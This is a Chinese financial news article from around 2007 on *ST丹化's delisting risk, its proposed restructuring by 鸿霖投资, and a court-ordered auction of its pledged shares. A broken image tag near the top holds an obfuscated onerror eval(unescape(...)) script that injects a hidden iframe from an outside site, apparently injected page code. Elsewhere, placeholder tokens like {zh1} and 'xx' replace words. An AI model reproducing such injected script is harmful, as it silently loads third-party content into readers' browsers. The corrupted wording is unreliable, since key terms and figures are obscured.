*ST丹化天方夜谭:股权拍卖与重组的致命悖论

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

一波三折后,*ST丹化(000498.SZ)在攸关生死的{zh1}时刻,终于抓住摆脱退市风险的救命稻草。

      2007年12月26日,*ST丹化公告称,大连鸿霖投资控股集团有限公司(下称鸿霖投资)与丹东化学纤维(集团)有限责任公司(下称丹化集团)将共同对其重组。

      但公告并没有明确重组具体实施方案和时间。*ST丹化董秘处一位女士12月27日下午亦表示,目前尚无重组的进一步消息。

      其实,不仅重组公告让人雾里看花,银行巨额xx逾期官司缠身的*ST丹化,还面临质押股权被拍卖抵债的命运。

      病急乱投医?

      眼下竭尽全力保牌图生存的*ST丹化,其重组之路却注定变故频仍。

      公告显示,*ST丹化重组的基本思路是,鸿霖投资拟通过收购上市公司的股权成为其实际控制人,并拟以优质资产代丹化集团偿还*ST丹化的大股东欠款,*ST丹化将把化纤类资产和负债出售给第三方。另外,鸿霖投资保证重组后的上市公司注册地保持在辽宁省丹东市不变。

      2007年以来,重组消息甚嚣尘上,其实际控制人及丹东市政府也曾与多家有重组意向公司洽谈,至9月4日,最终认定"比较符合该公司重组意向"的抚顺罕王实业集团有限公司(下称罕王集团)浮出水面。然而,时隔不到两月,*ST丹化就宣布重组失败。

      即将入主的鸿霖投资与罕王集团不同的是,重组获得丹东市市长常务办公会讨论通过。同时,由于丹东市目前仅有两家上市公司,*ST丹化重组后会否"迁出"也成为其重组内容之一。

      市场猜测,鸿霖投资保证重组后注册地不变,并非单纯冲着壳资源而来,背后原因是看中了*ST丹化拥有面积不菲的地块。

      可以佐证的事实是,根据丹化市整体规划,*ST丹化未来几年需整体搬迁,其近70万平方米工业用地及大股东抵债的31万平方米土地,将因规划变更土地用途。

      值得注意的是,鸿霖投资所谓的优质资产只是代替丹化集团偿还欠款,化纤类资产和负债则与其无关。

      截至2007年6月末,大股东非经营性占款为6265.3839万元,这并未导致*ST丹化瘫痪。2007年半年报显示,截至6月31日,公司应收大股东及其他关联企业各款项与应付款项相抵后约6.83亿元,未能及时偿还的到期银行xx高达7.82亿元。

      由此可见,主业之一是房地产的鸿霖投资是吃小亏占大便宜。

      神秘的鸿霖投资

      *ST丹化的公告显示,鸿霖投资是经大连市房地产开发管理办公室批准,于2003年6月18日成立,注册资本6988万元。截至2007年11月末,总资产19.6亿元,总负债2.1亿元,净资产17.5亿元,实现利润3580万元。

      可公告未披露鸿霖投资的背景、股东、资产构成等详细情况。

      更蹊跷的是,不仅大连电信查号台没有登记鸿霖投资电话号码,大连市工商局网站也查不到其任何信息。

      市场盛传,鸿霖投资系大连宏光好运来集团有限公司旗下子公司,实际控制人为大连富豪周泊霖。

      本报记者查询发现,大连市工商局网站中冠以"大连鸿霖"的企业多达8家,其中大连鸿霖房地产开发有限公司(下称鸿霖房地产)等两家企业的法定代表人为周泊霖,大连宏光好运来集团的法定代表人也是周。{zx1}富豪榜显示,周拥财15亿元。

      而鸿霖投资与鸿霖房地产均在2003年6月成立,可能是专门为重组*ST丹化,将房地产公司变更为投资公司,而鸿霖投资经营范围与宏光好运来集团如出一辙。

      据周泊霖在公开场合介绍,他出生在大连瓦房店赵屯农村,毕业于哈尔滨工业大学,1975年被分到大连任工贷会主任,后兼任生产经理,1985年到建工局任副局长,1991年6月29日"下海"与朋友合资成立大连盛大建筑装饰公司有限公司。目前,他的宏光好运来集团总资产达23亿元。

      致命悖论

      重组尘埃尚未落定,*ST丹化挥之不去的阴影却将要酿成风雨。

      知情者透露,*ST丹化原实际控制人升汇集团案件已进入司法程序,根据债权银行诉求,法院已裁定将其质押资产拍卖抵债,*ST丹化就是其中{zd0}的一宗拍卖资产。

      此番波折横生,无疑给面临退市、刚启动重组计划的*ST丹化致命一击。

      据厦门一家拍卖行透露,厦门市中级人民法院通过"拍卖摇珠"定权,已排定拍卖*ST丹化50%股权的主拍梯队,{dy}梯队为厦门国拍和来自深圳的几家拍卖行组成,如果此次流拍,则由厦门特拍、丰盛、顶信及深圳方面拍卖行组成的第二梯队接手。

      据称,待拍卖的*ST丹化50%股权,评估价约6.5亿元,系升汇集团在中国银行厦门分行等银行的抵押资产。而升汇集团在湖南、安徽、厦门等地的旗下资产,随后也将安排在厦门公开拍卖抵债。

      2003年5月,升汇集团通过并购丹化集团90%股权,间接持有*ST丹化2.0250亿股,占总股本的51.92%。

      2006年4月,*ST丹化股改对价实施后,股份缩至1.44216445亿股,占比36.98%,仍为实际控制人。

      但2006年12月20日,丹东中级法院裁定升汇集团持有的90%丹化集团股权交付丹东国资公司,并已办理工商变更手续,*ST丹化实际控制人就此易手。

      根据*ST丹化公告,目前仍旧质押冻结的股份为1.4292亿股。

      让人费思量的是,现在名义已非升汇集团的资产,却将作为抵债资产强制拍卖。另外,根据有关规定,实际控制人变更后,需要编制收购报告书及申请豁免要约义务,但*ST丹化实际控制人易主迄今长达一年,丹东国资公司仍毫无动静。

      在证监会指定及*ST丹化选定的信息披露网站上,升汇集团主要股东陈泳妃、梁健赫然还是董事会成员。

      *ST丹化董秘处一位女士对此解释是,那是网站的事,他们之间已没有关系。但查遍*ST丹化公告后,只在2007年半年报发现"解聘陈泳妃、梁健"的字眼,此外,即使是补选独立董事的预告和决议,也没有任何信息表明陈泳妃、梁健已离开*ST丹化。

      不过,虽然此次拍卖评估价为6.5亿元,但按照*ST丹化2007年{zh1}的收盘价,其冻结股份的市值已超过10亿元。

      另据厦门一家拍卖行透露,目前拍卖行尚未收到法院委托书及相关资料,公开拍卖日程和方案也未确定,评估价不一定是{zh1}的拍卖底价。

      但眼下最关键的问题是,*ST丹化股权如果被拍卖,鸿霖投资的重组无异于空中楼阁,而已不在升汇集团名下的*ST丹化股权,又将如何为其银行xx质押偿债?

      悖论已摆在面前,垂死挣扎的*ST丹化注定要上演一幕资本市场近乎天方夜谭的闹剧。